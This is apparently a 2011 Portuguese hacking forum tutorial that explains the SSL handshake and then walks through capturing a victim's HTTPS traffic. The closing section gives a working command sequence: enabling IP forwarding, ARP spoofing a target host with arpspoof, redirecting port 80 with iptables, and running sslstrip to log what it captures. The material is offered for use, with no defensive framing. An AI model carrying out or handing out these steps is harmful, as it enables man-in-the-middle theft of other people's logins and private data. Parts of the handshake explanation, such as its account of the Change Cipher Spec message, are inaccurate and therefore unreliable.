Autor : Ômar Fontenele a.k.a fOnt_Drk
Date : 06/03/2011

Getting SSL Traffic

Apartir do uso de um SSLStrip nós vamos capturar o trafego SSL da vítima,.
Primeiro vamos a uma breve introdução sobre o que é SSL e outras informações pertinentes .

SSL (Secure Socket Layer)
bom, o 'protocolo' SSL foi basicamente desenvolvido para encripitar, autenticar. se voce nao sabe o que isso faz, ou para que serve, vai saber agora.

Encriptação:Protege os dados contra um acesso nao autozizado, por meios de algoritimos criptográficos, antes da transmissão dos mesmos.

Autenticação:metodo usado para se verificar a 'identidade' do remetente, por exmplo: quando voce tenta se conectar a algum servidor da web numa conexão segura, é apresentado ao cliente no caso voce, uma serie de credenciais por meio um 'certificado' para a verificação da já mensionada 'identidade' do remetente.

E como o nome já diz.. 'Camada de socket seguro' o SSL age como sockets conectados por nosso famoso: TCP
entao podemos analisar um SSL como nada mais do que uma conexão parecida como o TCP só que 'seguras'.

SSL (Handshake)
Como ja disse podemos pensar que SSL é que nem o TCP mas 'seguro' entao existe sua conexão que é diferente do TCP, e que é o nosso foco vamos entao ao Handshake no SSL

Primeiro se tem uma serie de 'frescuras' rsrs..

é iniciado um acordo em que é definido a versão do protocolo, depois são selecionados os algaritimos de criptografia, e por ultimo, há a troca de chaves publicas.

Agora vamos ao Handshake de uma conexão SSL!

1º Cliente (Client Hello Message)---------->Servidor
2º Cliente<----------(Server Hello Message)Servidor
3º Cliente<----------(Certificate)Servidor
4º Cliente<----------(Server Key Exchange Message)Servidor
5º Cliente----------(Certificate)Servidor
6º Cliente(Certificate) ou (No Certificate Alert)---------->Servidor
7º Cliente(Client Key Exchange Message)---------->Servidor

8º Cliente(Change Cipher Spec Message)---------->Servidor
9º Cliente(Finished Message)---------->Servidor
10º Cliente<----------(Change Cipher Spec Message)Servidor
11º Cliente<----------(Finished Message)Servidor

12º Handshake Completed!

Pronto moçada, com esse meu 'quadro' de uma conexão SSL voces podem ter um entendimento melhor, mas se voces nao entenderam ainda, nao se preucupem irei explica, cada passo da conexão detalhadamente!

1º passo: O Cliente envia uma solicitação de conexão (Mensagem de Óla do Cliente)
2º passo: O Servidor se aceitou a conexão envia um "Mensagem de Olá do servidor" mostrando que aceitou a conexão
3ºpasso: O Servidor envia o seu 'Certificado'
4º passo: O Servidor envia sua Chave (mensagem de troca de chave)
5º passo: O Servidor pede o certificado do Cliente
6ºpasso: O Cliente envia o seu Certificado ou se nao tiver, envia um aviso que nao tem um sertificado (Alerta de não certificado)
7º passo: O Cliente envia sua chave (mensagem de troca de chave)
8º passo: O Cliente envia a "Change Cipher Spec Message" que serve para detectar qualquer alteração nos dados entre o tempo que ela foi enviada e o tempo que foi recebido durante a conexão SSL
9º passo: O Cliente envia uma mensagem dizendo que já acabou o "rala e róla"rsrs.. (mensagem de termino)
10º passo: O Servidor en via a "Change Cipher Spec Message" que já foi explicada! portanto leia tudo seu espertinho!
11º passo: O Servidor envia uma mensagem dizendo que já acabou toda a conexão (mensagem de termino)

12º Conclusão do Handshake, em que é completado o processo!

E então com mais informações podemos adentrar aos passos que aqui seguem-se para cumprir nosso objetivo.

Resumidamente, os passos seriam:

Configurar o IP Forwarding:

CÓDIGO:

```
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

Realizar um ataque ARP MITM entre as 2 máquinas:

CÓDIGO:

```
# arpspoof -i eth0 -t HOST_ALVO
```

Redirecionar o tráfego com iptables:

CÓDIGO:

```
# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
```

Iniciar o SSLStrip, definindo um arquivo onde armazenará os dados capturados:

CÓDIGO:

```
# python sslstrip.py -w arquivo
```

Quem quiser dar uma olhada no video :

http://www.youtube.com/watch?v=TJHcfs4inhs

também tem o site do SSLStrip :

http://www.thoughtcrime.org/software/sslstrip/

Agradeço a Todos .